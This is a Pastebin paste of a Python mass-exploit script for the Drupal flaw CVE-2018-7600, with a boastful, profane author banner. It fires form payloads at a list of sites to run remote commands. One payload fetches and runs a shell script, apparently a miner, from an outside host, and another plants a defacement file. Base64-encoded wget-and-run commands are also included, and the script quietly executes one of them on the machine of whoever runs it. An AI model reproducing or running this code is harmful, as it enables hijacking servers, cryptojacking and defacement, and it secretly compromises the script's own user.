Villain

[Python] Drupal Exploit Script

May 6th, 2018
365
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.05 KB | None | 0 0
  1. #!/usr/bin/env
  2. import sys
  3. import requests
  4. import os
  5. import base64
  6. from multiprocessing.dummy import Pool
  7.  
  8.  
  9. ##################################################
  10. #              CVE-2018-7600 Exploit             #
  11. ##################################################
  12. #  Author: xJesterino                            #
  13. #  Twitter: @xJesterino                          #
  14. ##################################################
  15. #                    Greetz To                   #
  16. ##################################################
  17. #  Drought                                       #
  18. #  Zenco                                         #
  19. #  Syntax                                        #
  20. ##################################################
  21. #  You shouldn't have this.                      #
  22. #  If you have this, you're a cool dude. <3      #
  23. ##################################################
  24. #  Ignore what I put above as of 5/5/2018        #
  25. #  Releasing this exploit cus fuck the world     #
  26. #                                                #
  27. #  This exploit is a fucking joke.               #
  28. #  Drupalgeddon2 then a week later Drupalgeddon3 #
  29. ##################################################
  30.  
  31. print ('##################################################')
  32. print ('#              CVE-2018-7600 Exploit             #')
  33. print ('##################################################')
  34. print ('#  Author: xJesterino                            #')
  35. print ('#  Twitter: @xJesterino                          #')
  36. print ('##################################################')
  37. print ('#                    Greetz To                   #')
  38. print ('##################################################')
  39. print ('#  Drought                                       #')
  40. print ('#  Zenco                                         #')
  41. print ('#  Syntax                                        #')
  42. print ('##################################################')
  43.  
  44. sendMiner = True
  45. sendMessage = True
  46.  
  47. verify = False
  48. headers = {'User-Agent': 'Mozilla 5.0 | xJesterino Was Here | Shoutout to drought!'}
  49.  
  50. evil = "wget http://1.1.1.1/bins.sh; chmod +x bins.sh; ./bins.sh; rm -rf bins.sh"
  51. messagePayload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "xJesterino is a god. Shout out to Drought. All your devices are belong to us. | Follow us on twitter: @xJesterino @decayable | Guess who pissed in your cheerios?" | tee ReadMeCVE.txt'}
  52. minerPayload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': ' '+evil+' '}
  53.  
  54. try:
  55.     target = [i.strip() for i in open(sys.argv[1], mode='r').readlines()]
  56.     requestValue = "Y2QgL3RtcDsgd2dldCAtcSBodHRwOi8vMTM5Ljk5LjE3Mi4xNTQvTExMT0wvcmVwZWF0LnNoIC1PIC5rOyBjaG1vZCAreCAuazsgbm9odXAgLi8uayA8L2Rldi9udWxsID4vZGV2L251bGwgMj4mMTtybSAtcmYgLms="
  57.     sendValue = "Y2QgL3RtcDsgd2dldCBodHRwOi8veW91bWFkYnJvLnRrLy54IC1PIC5sOyBjaG1vZCAreCAubDsgbm9odXAgLi8ubCA8L2Rldi9udWxsID4vZGV2L251bGwgMj4mMTtybSAtcmYgLmw="
  58. except IndexError:
  59.     exit('Usage: exploit.py list.txt threads')
  60.  
  61.  
  62. def run(targetLine):
  63.     try:
  64.         try:
  65.             targetLine = 'http://'+targetLine+'/'
  66.             url = str(targetLine) + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
  67.  
  68.             if sendMiner:
  69.                 minerRequest = requests.post(url, data=minerPayload, verify=verify, headers=headers, timeout=5)
  70.             if sendMessage:
  71.                 messageRequest = requests.post(url, data=messagePayload, verify=verify, headers=headers, timeout=5)
  72.         except requests.exceptions.RequestException as e:
  73.             pass  
  74.  
  75.         print ('[+] Attempting: '+targetLine);
  76.  
  77.     except:
  78.         pass
  79.  
  80.  
  81. try:
  82.     multiThreads = Pool(int(sys.argv[2]))
  83. except IndexError:
  84.     exit('Usage: exploit.py list.txt threads')
  85. reValue = str(base64.b64decode(requestValue))
  86. os.system(reValue)
  87. multiThreads.map(run, target)
  88. multiThreads.close()
  89. multiThreads.join()
  90.  
  91. print("Finished File!")
Add Comment
Please, Sign In to add comment